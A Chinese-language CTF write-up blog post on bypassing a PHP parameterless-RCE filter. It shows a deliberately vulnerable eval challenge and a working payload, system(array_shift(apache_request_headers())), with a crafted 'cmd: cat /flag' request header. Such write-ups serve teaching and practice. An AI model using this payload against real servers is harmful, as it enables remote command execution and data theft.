无参RCE--利用apache_request_headers函数

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
$exp = $_GET['exp'];
//php7.3 + Apache
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp)) {
if (!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp)) {
eval($exp);
} else {
exit('NoNoNo,U R Hacker~');
}
} else {
exit("What's this?");
}

1
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp))

这段代码可知打无参RCE,过滤有点严格

1
if (!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp))

有个提示

1
// php7.3 + Apache
  • 在 Apache 中有个函数apache_request_headers(),这个函数是 PHP 中用于获取 HTTP 请求头的内置函数,在无参数被调用时,会返回一个包含所有 HTTP 请求头信息的数组,我们可以构造一个包含了恶意代码的特殊的请求头,利用system函数进行RCE
  • 因为apache_request_headers()这个函数返回的是包含了所有请求头的数组,可以利用array_shift()函数返回我们构造的请求头,这个函数是从数组中提取出第一个元素,所以只要把构造好的请求头放在第一个即可
  • 最后就是使用system进行RCE

payload

1
system(array_shift(apache_request_headers()));

构造请求头,请求头名可以随便写,注意这个请求头一定要放在第一个请求头处

1
cmd: cat /flag

image-20250619144242163


无参RCE--利用apache_request_headers函数
https://yschen20.github.io/2025/06/19/无参RCE-利用apache-request-headers函数/
作者
Suzen
发布于
2025年6月19日
更新于
2025年6月19日
许可协议